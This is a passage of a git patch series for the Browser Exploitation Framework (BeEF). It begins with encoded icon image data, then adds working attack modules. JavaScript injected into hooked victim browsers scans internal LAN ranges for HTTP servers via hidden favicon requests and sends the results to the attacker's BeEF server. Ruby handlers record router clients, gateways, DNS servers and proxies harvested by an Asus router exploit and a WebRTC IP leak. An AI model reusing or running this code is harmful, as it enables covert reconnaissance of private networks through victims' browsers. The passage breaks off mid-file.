z*?v#YTdpyPGipBnuna^Gv@}rYXuFHlH!J!SEhhh@xlT^Oxj2rWgZ z5Jpt+&cHx7%ZmBk_Qzum{aI@{BQVSKHoUK#^D6>aVHrVPT-RFPp)1o3bFovks!4#L zs0!l*YI3#i`KM51ZBX8YYpn%r!nOm7b+|bxPzwfHNWoed(Gr9V!dRJ_6oepT^z2LE z?--k>|{K`7eMjc$9oTN(=9l(OxZ6t|5&(3D*O-yGz#_{N}v{mTq{bWYFtm> zjf5d1WQ@pI17J;n3AN+JS7YVhR0`?>D7x^)8fyuzwE+`gTLW0#g7HEM z#=3?H5#WF_kpY_%mG~4G)IOt?_NXPQdIt0++6@*9c*?**eun|gRA!I~*Ka45c zZz0?#q(GqL8xZv$LInDd&>$f`FC|muwZ@TU1Uqv=0LH?=Cjw9b#$bPcpCbXrTE53Q z_x_yNyquhZf0tq5R+B{=WT7-#PpvGZsOon;cHiW)#b z)C!1*p(6p*qo(&Z*f-~WCeWIg`b-Yogpj}!+h++stzn^7>8s! zI47jwz~@X1Y+f)a2s~;Nf&u`Cv|)))jYSU+@6p1^k!|@!Ff+Z-sfVXgZD(3ZPQZwC zO`cH;wr*Ubg?lMw4+ao2MLfbewA@V0D=|SB9t1O+VS8r>)5$~#(wJ&zckjd9y?v~l zfGZq|uq&B!Uk&!Mz>+bry!bwbtsKxk|?bU5E2kGf>0$*LCC--VrZHU4v7>}$k8{X zf7zkP{H0Ws|Fli_VtOx-!h?#Ee}I~~0WufjL~RzNRli9JnF5MBoan59vNM!$aO4vy zYmKs;;l}lCj7D<;a3J{6i4(`)g~y5jRyZ85zIyQ#fD_Kw-hVACKE;tJAqn}>1fUz| zbLi%Mx-OV$Y6=#*nzFW_M%SSTtSOK#;MvhQfSVISdqXsZd=0kMLPfdw2dtCTkVl6y z`Vm|*Aq>w6wrN73>1-6>sE&CxG306?@rSR2iH>4UKZ68|Hoi)#ejItem=qM};QOKz zQ0#m=gR&(`j+iK@hIeysZ^RlvFz3Wn(E95B-so*$MF1-tfysFMJMez!fiEegE)dZp z0S~B5pVBPQ8ahBJy+j0w5ae1EaJ66(+zfG~xfV@9m7sD4J>G_<%g9-Za&|PjVgNfQ zgU%LgYX}q0O}hhw3>GyhL}w$1A|+QL5<+QXCL^Mz5YR9oA`y6kOGbkT;X=EBW+IOQ zrR#_S-MlZ28c8!~Mhgg7$`;J)L?92a@GDcIQW_u!B8pqOvHc%n{#*@ctwFETeScQY z%A*{BD*{*nMD%h!{gb+wq;Sq1x7I#jh#vRw7qn835~;hD*2k4rkr0}K%SfvKqUn${ zfD~Dv!wDcoAQm+R@t{{FXta%tNr5E#kay;q0&5AjGuIRX@&Qb%4NEzUCpI6f_!T4^ zxu7YekRwepAKW{@Iv0e050mkPYjjgCWJYZkOPqtb(jv4L(&#Rz!PE65q^ZFaOARvVP;UQDclfJAOh)} z%?ID=Ga1+b(+MaButgV!3RqAKNe1|6J_LZzdGxgzVLd=VFHiPAtK+oT;>#y3KvBAv zKle%HZ`$~1gb16@izHF|05VM&Ss<^*aK^$Yb)c7^vz9}E&PV+P&{|*Px1kjQtnkTD zf#@Ou7XkbL9`Me!t+i(?{KFNg$3S>gkvdOG-KVuKqNbqcpd{=p$RIgq#PnEwNF;$4 z2_O*z9p#J!l&zqv9nfS48QwuLzpgX5yaUggf;bv0jzX*jbYZBK9F2}m2PTM_5zPSX zn;<3*55$&a3mJe&@qeV%T*ig)9wXhafI}06qW3>nKvjBZGlO#$&a0$_NP0G>0OwgY zU-?;u3E{t&27>{db1MQ^;g(|xqL%>7@jbAr?1tXjd#y1K19+T>E|8+LO6hyFR+-MS zXgUZel0rgsL@t{L%jBRB{j8o-^D`j@RR)ZAk*PomMB-D(+Z=*qQs`_l#HY}ORc-bQ zRCR$=p*;(e6RijqfM43PAdvxKArmmw2rTvqIOq#lAPKGjRHCtD)rjB6kp&UO-{Tfw zwyMzXwBZ5C=g{hd(v%-R3CIIVs}%vPaMRc(qHO@r2mBX~!&`sS8hcL#JW6v?Q0hX! z{YtB2na*-{GO84HNWOulAK_>XKp#mI=`&i^6a-X4nF?yUhkWN1g)7279tPS$Vt!*!CnegE}S>#dchf~lBQ5q(9?Ys zd++hHy~^OTHeAt%>8!J((RDZByF;MWMV=SD;${laY#Ug_ztw?Kk&{nR0now3p@e3A z0m(C&0HoBnTTNk+GysP8@XqtR+vzaz<(b;nT3w4YbW=wi3eNJJvqGQw+4H#g%F8PP zSm73f=v@Nd1?Ud|_9qm^y3>F;55l8F^dylwr?fhwm0r_2LyA7A!$OeBrvQ?BWyR-f zN2f9)Mkatn1~QUvJl{Z@eW=+!iv9ORoR}1%`LK?%yMOuHUTs zubFf+%rioN@xlvu=BGd9&O$36zzVkmB@w*|_%}W9Kg6G42hQ4)2Gt`VTu?MO9q7E8 zS1u|&5JJczDKx{7JlDLUf0BFzCXvIR!Jk_wJ7QAMd+$R5tSPvx1zYqn38XOUZ2|## ze~6;fN4woZr_k(7EXYBVFo6da+N^mYB!~vk$wbxn)f8kaSfvhbAEv;Sf6ls^)Cif@ zm*Hpv_#^H6m_b++1$K6J@bb$q;rZvD!}g6ED<|LzpE>r3Xb-?e5C8jOI=D4s%ozfm zBcjJa^W-J{u-59N(z+c9Az;Z=AUfzcRC+<^5$8$Z^%3N->}-^Cat7L3WaSw7{s+KS z07}E@7RsWBaeD~g-vk8|y$y8weRMl*^jaFdj8Jf;po`{%6#3N6M@lGUPlowu>OySs`4tne2X9@w?kJ+GB| z-dg)#WoNu<1E4Pe{yd1DAe#FV^n+QJoz^1cKFe~-vP2FntSt2S$f`&Bb3%~%XbmIz zD7=SqQ)JZy#rP`dI>C`*O<|Pxu+tf`mY@ckCUFHRV6h1D)al@ue@#ViUw z2H8B&>9n!6wSmcainT$X?@?OaaK`gZ`lZM6cKXH^!Pru3x+E_D5sw zoGm;ES*8Q>fZDeZ9fARrvKgC^goPRho-^pCilfqZD2Ds0DRMJGYkUQ`MsP~QsscBP zF0QuMf&LbpVXrZC0^l<*+*x*Z%pew@ACXV2Wrsk@u&>s;Rs0PR+RVK^U+ z#uyCx>{!dgwdr^gDWs!FZF!=z&f2p#c6P7rj;F1y2evA}`}uQ6<1uHhK<|laV;zho1l?b%LX9DLOm#%7^;hwwi z#)A)@VFx_QS;@Z_a^`uQjz_%8l2XWo z6q2)11eu{@O0uSpHY1K82fbW6-K>X@a{y#YkiCLQ^(uA;4k$8oCmr9>ipe}F=4g;L;U=OpYh-KnPmd5uu|_$B|8rfheJGc?!h4V58&MWXJr+i zOi|7z?9JwTjg{h^%E;=*-Eb@b>Urm$g7@F9jQzE$svgl=^@>i5SGpn~uZ0!>PKEh! zV~9We(?7%Z?jE$Bz*!@)@;qm)qSNW(&h>R6ttKS zN+cTOcIJw11K<~eG1y^3Wg00CWhbsXK zXRU0H7DlDBH-ibZ`}Uek4@aikCe0Hh8E38)g*=)wbdH? z{Pi+?HknL$w8nna?q!cV=l`~|=5GQxpBDwKt##1tcEhs^wsAdy1;APd>tqZBf%SeL z-}uUtc>blAF*A+@&zLH}Vt+ir&fbVgM=3%p&pBMz>kY8Exy6Y{)>jGdHkN4FQrA z<+uxSc+cm8;M-@P`6<8q?d}J#!U`<(L@Ef;5Klb*Eo^RV@QTllD(Bc1S4tgeiz;z% zx4id%!#Vqpto7e6^1SG83=uqhOemyCD&t&07^4mBod8H4@_x62$Im~6U%qh}l_TC{ z!x+OvU`5;D^FSC(2sd{2;8E|$QxxogTwfmsAH@kM1(?cUJQ>&KgS1mKLSU?YWJS)z zaHxMkK{6QsoLmJ9gZzGt^5i~#|IP1X_sSmkSsdQEj<4POmvQ~)BeeHBPzp?TLIUuw z{PLxrJo{(QARf1k09IJ-GUUBy)%vl=9>vzyCZ4$PB^Dm%Jd;8**Zhzp76Wzm$K&4! zap`|-t@~;)8QA&P>-D0V4r?s~wZK3F(Ps@7<7;9PGf9Sru@Wy*r*umBb&$GtB z$+HC9Q8&N{Ay`v!3$n?L9b9$S`MvW@GXZtl9o7;~p1cDje?Jr3XtXbm#{E4}?_+v% zN^uq;PhFRm%A7T6l&VCJ+Q@T@vbct9!@*$!n-f&wP`VP6=>&z=AR)gw5nT_Vz2_Qz zNgU+xD*{;ImP1w@S!M6O>rMgGjNnZZ<1#KKo~H@7FI~y8Jsq_`fzc z6^J5~Y5n;;| zRFL}F!kt~WUwND6+RKXmlb`uzJ^}EkEg!!WtskRGi=q&D79owBUy6{`f@!T`N202XtmXj{>GL2G!pd@u zJCAK(cQi)DT~)2C0flaPp5$eUGwL=Dq{3BcC`z=A2lY=i)+ zO6>Uv;?>&$#2Nyx`Wu5@twmVr321~wN^9i%b=TooxRYl&sAz!z`CcRsV`@?`aF$7j z-)*oy#O}@xO0&meMs>bHk=IQ-NX<1KJov!uc*0qH~Uk;o}^n)IU*#f7=PMxXq0ruacb0u9gaSQu7eR zt~|8~FdwaBhhAkY@~T3aRlJgx0X$YZh7|c(qMA$DE=aKrEv2v?TIXnGx+WJv$pllu zSb`(skYHZ4P!OR5U*BhH5;06F;cvny2>4_=28l_+?>U{77*D255|haov&jUfPoIMA z8z#82s_@?XAHMz4i$D9l@EdmxH#Q$@f7rR>!xyh@(0~CfWp}*^dB2U z_?PhbSH1oK!{Hj>OoWQn`fY` zg>xFZ=>T*Nu*55?9AY+T1+;R7T!VkhME`&%c%?y{ACQa5z_EB29h8`i_VMo9m-+Xd zkOY%uRaH>lVbJSKZ^BBPkCK3t;hsBBpPh{M9{ayP{NZnVkGVE*cem5KXD}Q-I9Ojl z-|G(^>~y<#1d>@F?YD68;w%5{moNR|djR^7Lp4TU%dtyZ0i#?%yq^98e&q;Y1$Npg zMOa^7!#DrZ*YTy`(HDE%^D63ZL2Q|b{<#mrzqYo<1u(9Drmh=&P(W%l8ld!o=Uh~3 zR~Nrn<6xW!dh83}0Uqmr@eE`jCWiB{To|OGv}IC=WMh?uHNrE76=W;Y5L|a3jPA90o@>j zR?-9*GsZ!GfnO28uLw-7=0AM?3)qwp9t(a|Roo%wRvlXDzwW*N*IfD5@3HDmM2rSQ zG}>v^g0DD~CUc^+(=VG07G$D{pnyhgy>%Wg12QHH5nQhUM-HG26h`Od`AQpTt6&3+ zQcMa&2G$TjBJdsrPXVZX6yAYYy{}+rV^kB(Q3YMJQ4}q-yB(C8GE@>iB%(cmLymN*?{;5MTT1Q}}D&`70r$cNYtgk=XvN+=t)g33*Kr^tsjmR**_Dtrfoh^{?Xm7r%&JzsH3!QRr_qv{L_~ zUE~iO+uD*$K<%MCVr_eJ_=#*L0r7~dcZ?8-z)>vF@gU^_C?JtXD!S27WYhDNl3scg z4TGd@kgCraQmRWziN8QADDKN|Kt@TMaAyD}7?O7rg5YbuoT8I!cxV`7xKkDC zAIx+AFI~P24==HAarSWppvW@hMZux6aL(YB*NJc|k37H3)%L1n@bAsLJ35kRG4zp_Tfsvg*|K_6|mq2@6VE zwC8BI(P_8B^}6b>$T%(^+kZvDig^Jd&uKez6H{*GS|qvXEKFKO z^cXf*bHrz9XdQ_`F`RZx29?o#PR7L0DSzMHv?le@+CaD0o119A76{juO^+GdFD84g!`CaTCz;XUC=TPQsI>U4}#jGq*2AIm!B*1?B zSfIm*9ePk}2Vu(hl9F&CeDeB3q5x9W2OUF=l3>Ipf)xLlN}?MvTM%AF@`)ZqM$|qM zDJ(%c{pQ6nt@W0*_R1|HfK@HPDz$fZyJ`nAt#v!o8LQ-u6nwP5frDW?UkgU<@KcU8 zfQ1gfEO2sdj!gUrMV_PWTAUGBRV5R`WIDw(U_7312`~2_C}$Fe^RW-Vd_Sw(jc1vR zF(Lrvpo8VRi z@HxhKG`d{`VDh{uKfH348)`V`n(e8Z^8;Mu}~`j{M#a=-UWcq$tR~{v&ly$ zISi7jOcc|qg$NK2N;98MW2n+daZ^m)rQ5;TFFPh ze_f2b6Pk{;loKH5B!b7e_ZhG7SvDVwaGu9*Jc%55#TMsVOahV`|5z>PK!g}!;EqDk zacIgpDa^!VU{k`tF`-l}3NsP?RI^_vD5Wj96+jL|HIZpT9(O+08oG8A8l_PgAspDa zoi`o2tP81luKN#Ub=7;%yA9yeJW|T=EMQF0JGsK=55M_a|Lk@a75(Ok6DR(Cm$M5E zh$uOI{L|KY zytA|OEsUEpLnILS;71!NU;+s8>dx0@vxYzo!hcUMtF2uqG4MG8&rx~Vp)cM6lG|L@ z8Ue>y*t^F*R>v8{bZmjR80A0-$=?!1p*Q$C0SuLI~0ry_mOIiClsh$|51~ z`wS6C6T>2jKrcnc(X!Mw;Fo>@ z6F`t{FTFf_1fcT`K3lnJ)qBrw-XvCN-}G|@OaMWi-n3cG zo)iga9w@!5^!S!7&(%EMuv!doHm2Up_Rg$IP(iq^r^}GQH22WG=a%!zk{F8uH0TwvOt`fzfD8;!@mP~fz>g!j(DjIhbBia68^R26y?^@sBq$OWzflN`A zLo@+?QxR`0?OUzY+CSE3LD1Bpl&GLG+)BfSao zOumF;rtVu3pkb1li;zH1SC?vzUz{xR3B%vJAP4bHmQF*>C#bzbAa=&j`sKl9h5&*D z0uYzh*kmBi?y9Q$KYC%?i>kiv5wjZ*L1mT(c|!m`K_~&FO%6h{p!bc3MjPN*9S!Ib z0!y1|GQd#)Nnt#}93cbgn*<+AL=a=Y(EkUD}sg!FN zOePX<N(4U+zIT&7o1la~G!VG@+EhzCt_ITmKf>tu1_-H-g*vQ}!8ZRq$L7}l z8*?oBqn?2;Yly;=8Px!S1Pwq`equn}YFh!Ay>)eUOE+%ZsFqe&8!I_y>nUvn_L}bd z&1w)9#O(7q-ZH{oGq{z+qVX{u9Au|mdJ&i+97XPTkxWQDCi%z^7ymkmhw^`>`}g&i#vfDr@Uu>vFofV5{&>%A&jkn)1VB0jpqxK< z_Us<)YO`a_+BGOb+JNoEDs-#>ngeR9&RZ9q4_=P7eZNsN;27VIU=55wnItbs9D!sZ z3YgvH0`mt-Tr{~sO+pYDTTGI1Y7=s|B9!z}$wa%l($*$hmY+eo^Dbx_#~3bLqUeiv zs`ZrEW&n-p=mA|=p)bb z=9)_&0%XK6h}%-96mz!EJ0xI*pjSjFORQ%G22^)lC8wb=a(bZckW~|P*kGp2q+)$JkJ}|KksV`CdWVzcL>FX@wz)0Gqcc4#w$87nhG@x(~T!&8# zq|?t_Y;0PG-ErzGDk_SRWvCWaRx0#mZ$Yfr??wfkn9kCpDlSqim@d*4ei)kTTIA_| zlJ6fxnmIML_ z64Ziz5Wyj70Ad-yw<4KLu1O>kYcVT7218;Mb{8%e5-2M#0~wTIGmd*vRP!F$x=UjH zH8HSsIDpO4;E~y61U3d9b7o&erUuJ8UP76rkcz1GnAt~lU=#Fu1nl(Uo0>r!C(!;v zY{TE6oUWNE-w_BPNLV5ap`8MlPXTye;KDqB^udYo^n>Yi|0?{p9M_ish)X~il~_*P zhaexA7fR9P#v-y6H}m+Fvvw!&8KW;Pn@41PKxd nAV`oPfdGO83Gy!*;cE#%@if!`00006lzsyOA*q7 zP$7y&i?-`etE}55o0+*i_uiSwY<6aMCKXROxifdqJ@>okoO{k0!WaWWh&puYQ~@8> zGS>wLX^2Y`PzV9XaZZ2G)zyU)cJk#+Y&Qb|u>VWNVv!vi7&wXgXwv;vZ`3^?aA))` zw@9i3yfJ?s^!4{c&!$bVvZJH3Z(v}sr@MP2{_HebuXrQz&8{elU`lC2_GN_v9RK?J zDdh8cSlQnG{x?HIzvHx)6hJ`y^js+)8?i4Z)^Rgtv+(fIV`yn6(DeYsTg#WXq9y8rr~yDJH!DfblmvHyQWZ>7hn!^v?r3joYsCP+9|uAW zMN^dpk`e(ayJ+D;IClIvkkI9H@k(#Tz(jf#*+PCA4Zyzj!pQs1=ZSCD#vmE~`BExXQUFkDmGktR)v)>r zMd>Y+GwAd!z~A+Z3SS(&3g@qk2ry|N@QSIa6xMulv`BgFAly36xibepTF*PDhB3ek z4pAtazdQo(u2>}ACmXS;{tZ_GnE+Xk+`wZ3KmB@dElwNArI=g5LVy&J@p<2|VE!vG zcME43x^_!oL)A2i6@~9dQ%ek?U<|s+
z2R|!*@j&76X7pzH^mh6$~u| zc(J!9_!Mt^$$p5 zGhw(b_JflDuS~c=Raw?oZR>}{3ueRqUGHGElTki4!C>6>oj_~k2=)tHN8KQ#Jcq}` z#DvX2)#Q@7tutY6ex_8S%DFFhbWE;OX^otwX{e+69wl~x0N`*XvaBE7vqp?V-`xbm z(#7-oooB>Y*!Lb}GSza0?{A52$#&zep|=sgHdR$D)O6Zt>P$wuVB@D3z{sj104+T$ z@4E*?bRQl7Urxh3Vi*~4m=X=ZZ?EIBA&&)z5mX{KYi=?zKTrX1ydv9w)653)mMOtB zd2+sf+a=Ke2xFy_g~ANcK7}m6ua>DR!p{zhTb2Pk_WlgHoB`BRs%oyBvkdXR9iN+< zP3S#6BIZ;odkp4TF)9Ws8#+7Nahw&CYqix|k6a*%1iB;TG*M211NGQ`yr$gYIKYKL#wg1^hyszU%D|t)(I`W*j z?luKgkc-}7%Si!HFLml^zI literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/shellshock.png b/extensions/admin_ui/media/images/icons/shellshock.png new file mode 100644 index 0000000000000000000000000000000000000000..6f6347c06a08ccab5021ef88b28d9998a49ef189 GIT binary patch literal 1844 zcmV-42g~@0P)WA*UIUx^Eih;qRHfv82sYZw;-% zXm#II?98lAEJ&Xlqy53)pFAbRbI`$awd=t*B7$1e~Kr`sVYEznMXTH(raDT%6 znbR`+;6!XLL?6S6nRlVW6F3%4%>gxs)f`+iHZ0j$H46`yD{yP# zI~A99JztRcJ&w-31h(NWtf_c;HZDDyZQ^fnIUG8;Dzl^f9!uO&hkee9+;`t*JJuC~ z^UETXZJxHc+Srf8WmfMe498+-w z-ko?bahULd;mDTc<$U2p=OuoFe`gNwoA(i1JKMtjn$4Vm#p1x()FtyjI9r&&8MA43 z(4nwZXkelU+!H5vlgLP1Tu()cS&54AUo1aw?2af!=Bv10?AFqu$rk)N^MiiDg=9CO zTN)M(TAbOveYl~X zB6dHH#1G55^8|riA`JEr#d-LtFpbMIYq29oUh;4g3h5<_D-*|wEmH_Ti%;h+8_OJ= zLg+y_4L2uFO_8Ok(B|=Wkn7CZDn9U;&a*n6e=>7R;c*q6BFmQd+m8M#xqB^QrO@;edR^P z>lNQh9Fh2C;(_k>`>Tj5 zBgNesiBm-#xJXnhwJ3VLX zb?qrq!&N1;ZOvTRj!IxQ;fG`ID)NZAh@OrgmxO+2W^LlCQb10_Fddo2nd=iL;f0F* z=bAGN%IWpI*u4$-%3QWSC)u*_9(XCUtIa#RgzZ++T}*7EGFdIWA`Yc}hUqTO)tKvG zBKO&kDCk~nX6PLZAbM8jC4;+;Lt$95(~y}+5%Sj8T-nU9Rzs_fD6w9Y);kz-OGhQ! z-@i)ShI13IC$7NVb$E6+(fPPLaYY%oTvxp{s3$fThdEJd|CfaA-X%<8LL}cuDJ`GO zV=0=&&o+@!-P0-2MfUW#2yd-&T_#S-p=@?ovSavHo}ty5^t6`7#gV-_M-t!vzP}f? z6^FK``^0Eu3*m*C#VPXFR;l+p8fxYEeTv@yPTq;%3j6Nt#6+?8iPD^YvK>X?n~PGO ie7)h7avj-$2jPDsjxOa%bZv?N0000 Date: Sun, 18 Jan 2015 13:26:40 +0000 Subject: [PATCH 03/19] Add Get HTTP Servers module --- modules/network/get_http_servers/command.js | 98 ++++++++++++++++++++ modules/network/get_http_servers/config.yaml | 15 +++ modules/network/get_http_servers/module.rb | 46 +++++++++ 3 files changed, 159 insertions(+) create mode 100644 modules/network/get_http_servers/command.js create mode 100644 modules/network/get_http_servers/config.yaml create mode 100644 modules/network/get_http_servers/module.rb diff --git a/modules/network/get_http_servers/command.js b/modules/network/get_http_servers/command.js new file mode 100644 index 000000000..a7a503c6a --- /dev/null +++ b/modules/network/get_http_servers/command.js @@ -0,0 +1,98 @@ +// +// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + + var ips = new Array(); + var proto = 'http'; + var ipRange = "<%= @ipRange %>"; + var port = "<%= @rport %>"; + var timeout = "<%= @timeout %>"; + var wait = "<%= @wait %>"; + var threads = "<%= @threads %>"; + var urls = new Array('/favicon.ico', '/favicon.png'); + + // set target IP addresses + if (ipRange != null){ + // ipRange will be in the form of 192.168.0.1-192.168.0.254 + // the fourth octet will be iterated. + // (only C class IP ranges are supported atm) + ipBounds = ipRange.split('-'); + lowerBound = ipBounds[0].split('.')[3]; + upperBound = ipBounds[1].split('.')[3]; + for (i=lowerBound;i<=upperBound;i++){ + ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i; + ips.push(ipToTest); + } + } + + checkFavicon = function(proto, ip, port, uri) { + var img = new Image; + var dom = beef.dom.createInvisibleIframe(); + beef.debug("[Favicon Scanner] Checking IP [" + ip + "] (" + proto + ")"); + img.src = proto+"://"+ip+":"+port+uri; + img.onerror = function() { dom.removeChild(this); } + img.onload = function() { + beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto='+proto+'&ip='+ip+'&port='+port+"&url="+escape(this.src));dom.removeChild(this); + beef.debug("[Favicon Scanner] Found HTTP Server [" + escape(this.src) + "]"); + } + dom.appendChild(img); + // stop & remove iframe + setTimeout(function() { + if (dom.contentWindow.stop !== undefined) { + dom.contentWindow.stop(); + } else if (dom.contentWindow.document.execCommand !== undefined) { + dom.contentWindow.document.execCommand("Stop", false); + } + document.body.removeChild(dom); + }, timeout*1000); + } + + WorkerQueue = function(frequency) { + + var stack = []; + var timer = null; + var frequency = frequency; + var start_scan = (new Date).getTime(); + + this.process = function() { + var item = stack.shift(); + eval(item); + if (stack.length === 0) { + clearInterval(timer); + timer = null; + var interval = (new Date).getTime() - start_scan; + beef.debug("[Favicon Scanner] Worker queue is complete ["+interval+" ms]"); + return; + } + } + + this.queue = function(item) { + stack.push(item); + if (timer === null) { + timer = setInterval(this.process, frequency); + } + } + + } + + // create worker queue + var workers = new Array(); + for (w=0; w < threads; w++) { + workers.push(new WorkerQueue(wait*1000)); + } + + // for each favicon path + for (var u=0; u < urls.length; u++) { + var worker = workers[u % threads]; + // for each LAN IP address + for (var i=0; i < ips.length; i++) { + worker.queue('checkFavicon("'+proto+'","'+ips[i]+'","'+port+'","'+urls[u]+'");'); + } + } + +}); + diff --git a/modules/network/get_http_servers/config.yaml b/modules/network/get_http_servers/config.yaml new file mode 100644 index 000000000..dd167d867 --- /dev/null +++ b/modules/network/get_http_servers/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + get_http_servers: + enable: true + category: "Network" + name: "Get HTTP Servers (Favicon)" + description: "Attempts to discover HTTP servers on the specified IP range by checking for a favicon." + authors: ["bcoles"] + target: + user_notify: ["FF", "IE", "C", "S"] diff --git a/modules/network/get_http_servers/module.rb b/modules/network/get_http_servers/module.rb new file mode 100644 index 000000000..4afcd1d01 --- /dev/null +++ b/modules/network/get_http_servers/module.rb @@ -0,0 +1,46 @@ +# +# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +class Get_http_servers < BeEF::Core::Command + + def self.options + return [ + {'name' => 'ipRange', 'ui_label' => 'Scan IP range (C class)', 'value' => '192.168.0.1-192.168.0.254'}, + {'name' => 'rport', 'ui_label' => 'Port', 'value' => '80'}, + {'name' => 'threads', 'ui_label' => 'Workers', 'value' => '5'}, + {'name' => 'wait', 'ui_label' => 'Wait (s) between each request for each worker', 'value' => '1'}, + {'name' => 'timeout', 'ui_label' => 'Timeout for each request (s)', 'value' => '10'} + ] + end + + def post_execute + content = {} + content['url'] = @datastore['url'] if not @datastore['url'].nil? + if content.empty? + content['fail'] = 'No HTTP servers were discovered.' + end + save content + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + if @datastore['results'] =~ /^proto=(.+)&ip=(.+)&port=([\d]+)&url=(.+)/ + proto = $1 + ip = $2 + port = $3 + url = $4 + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + if !ip.nil? + print_debug("Hooked browser found HTTP Server [proto: #{proto}, ip: #{ip}, port: #{port}]") + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => proto, :ip => ip, :port => port, :type => "HTTP Server", :cid => cid) + r.save + end + end + + end + + end +end From df08d99cd526a24ac8d4442dbdfac3889dfb326b Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Sun, 18 Jan 2015 13:41:24 +0000 Subject: [PATCH 04/19] Report identified hosts to network extension --- core/main/handlers/browserdetails.rb | 7 +++ .../router/asus_rt_series_get_info/command.js | 3 +- .../router/asus_rt_series_get_info/module.rb | 48 +++++++++++++++++++ .../host/get_internal_ip_webrtc/command.js | 3 +- modules/host/get_internal_ip_webrtc/module.rb | 22 +++++++++ .../network/cross_origin_scanner/module.rb | 19 ++++++++ .../command.js | 2 +- .../internal_network_fingerprinting/module.rb | 20 ++++++++ 8 files changed, 121 insertions(+), 3 deletions(-) diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 0541d3393..a91e2c937 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -177,6 +177,13 @@ module BeEF unless proxy_server.nil? BD.set(session_id, 'ProxyServer', "#{proxy_server}") proxy_log_string += " [server: #{proxy_server}]" + if config.get("beef.extension.network.enable") == true + if proxy_server =~ /^([\d\.]+):([\d]+)$/ + print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init') + r.save + end + end end BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}") end diff --git a/modules/exploits/router/asus_rt_series_get_info/command.js b/modules/exploits/router/asus_rt_series_get_info/command.js index 41628fc89..389724480 100644 --- a/modules/exploits/router/asus_rt_series_get_info/command.js +++ b/modules/exploits/router/asus_rt_series_get_info/command.js @@ -31,7 +31,8 @@ beef.execute(function() { beef.debug(target_ip + " - gathering info completed"); beef.net.send("<%= @command_url %>", <%= @command_id %>, - "clients=" + clients + + "ip=" + target_ip + + "&clients=" + clients + "&wanip=" + wanip + "&netmask=" + netmask + "&gateway=" + gateway + diff --git a/modules/exploits/router/asus_rt_series_get_info/module.rb b/modules/exploits/router/asus_rt_series_get_info/module.rb index 0c476a671..d3e58601b 100644 --- a/modules/exploits/router/asus_rt_series_get_info/module.rb +++ b/modules/exploits/router/asus_rt_series_get_info/module.rb @@ -13,6 +13,54 @@ class Asus_rt_series_get_info < BeEF::Core::Command def post_execute save({'result' => @datastore['result']}) + + configuration = BeEF::Core::Configuration.instance + if configuration.get("beef.extension.network.enable") == true + + session_id = @datastore['beefhook'] + cid = @datastore['cid'].to_i + + # log the network hosts + if @datastore['results'] =~ /ip=(.+)&clients=(.+)&wanip=(.+)&netmask=(.+)&gateway=(.+)&dns=(.+)/ + ip = "#{$1}" + clients = "#{$2}" + wanip = "#{$3}" + netmask = "#{$4}" + gateway = "#{$5}" + dns_servers = "#{$6}" + + if !ip.nil? + print_debug("Hooked browser found Asus RT series router [ip: #{ip}]") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :type => 'Asus Router', :cid => cid) + r.save + r = BeEF::Core::Models::NetworkService.new(:hooked_browser_id => session_id, :proto => 'http', :ip => ip, :port => 80, :type => 'HTTP Server', :cid => cid) + r.save + end + clients.scan(/([\d\.]+,[:\dA-F]{17})/).flatten.each do |client| + next if client.nil? + if client.to_s =~ /^([\d\.]+),([:\dA-F]{17})$/ + ip = $1 + mac = $2 + print_debug("Hooked browser found router client [ip: #{ip}, mac: #{mac}]") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => ip, :mac => mac, :cid => cid) + r.save + end + end + if !gateway.nil? + print_debug("Hooked browser found WAN gateway server [ip: #{gateway}]") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => gateway, :type => 'WAN Gateway', :cid => cid) + r.save + end + if !dns_servers.nil? && dns_servers =~ /^([\d\. ]+)$/ + dns_servers.split(/ /).uniq.each do |dns| + print_debug("Hooked browser found DNS server [ip: #{dns}]") + r = BeEF::Core::Models::NetworkHost.new(:hooked_browser_id => session_id, :ip => dns, :type => 'DNS Server', :cid => cid) + r.save + end + end + end + end + end end diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index 43e00a02d..277591d05 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -35,7 +35,8 @@ beef.execute(function() { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(" or perhaps ")); + beef.debug("Found IPs: "+ displayAddrs.join(",")) + beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(",")); } function grepSDP(sdp) { diff --git a/modules/host/get_internal_ip_webrtc/module.rb b/modules/host/get_internal_ip_webrtc/module.rb index fd2c4dddb..466cbdb12 100755 --- a/modules/host/get_internal_ip_webrtc/module.rb +++ b/modules/host/get_internal_ip_webrtc/module.rb @@ -9,6 +9,28 @@ class 